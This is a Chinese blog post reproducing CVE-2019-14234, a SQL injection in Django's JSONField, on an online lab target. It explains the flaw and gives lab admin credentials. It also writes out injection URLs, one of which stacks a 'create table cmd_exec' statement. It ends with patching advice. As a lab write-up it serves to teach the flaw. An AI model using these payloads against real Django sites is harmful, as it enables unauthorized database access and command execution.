【WEB攻防】【CVE-2019-14234】Django JSONField SQL注入复现

最新推荐文章于 2023-12-10 14:40:15 发布

AAAAAAAAAAAA66

最新推荐文章于 2023-12-10 14:40:15 发布

阅读量1.5k

点赞数 1

分类专栏： web攻防学习文章标签：前端 django sql

本文链接：https://blog.csdn.net/AAAAAAAAAAAA66/article/details/122027777

版权

16 篇文章 3 订阅

订阅专栏

知识简介

Django是一个开放源代码的Web应用框架，由Python写成。采用了MTV的框架模式，即模型M，视图V和模版T。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的，即是CMS（内容管理系统）软件。
PostgreSQL是一个自由的对象-关系数据库服务器(数据库管理系统),Django一般PostgreSQL共同使用
在Django中支持Postgresql的数据类型：JSONField、HStoreField、ArrayField
该漏洞出现的原因在于Django中JSONField类的实现，Django的model最本质的作用是生成SQL语句，而在Django通过JSONField生成sql语句时，是通过简单的字符串拼接，通过JSONField类获得KeyTransform类并生成sql语句的位置，因此可以进行SQL注入

进入漏洞环境环境（在线靶场）

账户名为：admin
密码为：a123123123     （密码是后台设置的，因为环境不是我们搭的，但这个密码我看教程是这样固定的）

进入管理员后台

点击Collections

输入

url改为 ....../admin/vuln/collection/?detail__a'b=123

测试是否存在注入（加个单引号报错）

报错，这时后端执行的语句为

Collection.objects.filter(**dict("detail__a'b": '123')).all()

.......admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

这里已经执行了，只不过是没有这个文件。

更新到最新版本，设置强密码，因为必须要登陆到管理员界面。

参考链接（详细学习的可以点这里）

作者水平有限，有任何不当之处欢迎指正。

本文目的是为了传播web安全原理知识，提高相关人员的安全意识，任何利用本文提到的技术与工具造成的违法行为，后果自负！

关注

专栏目录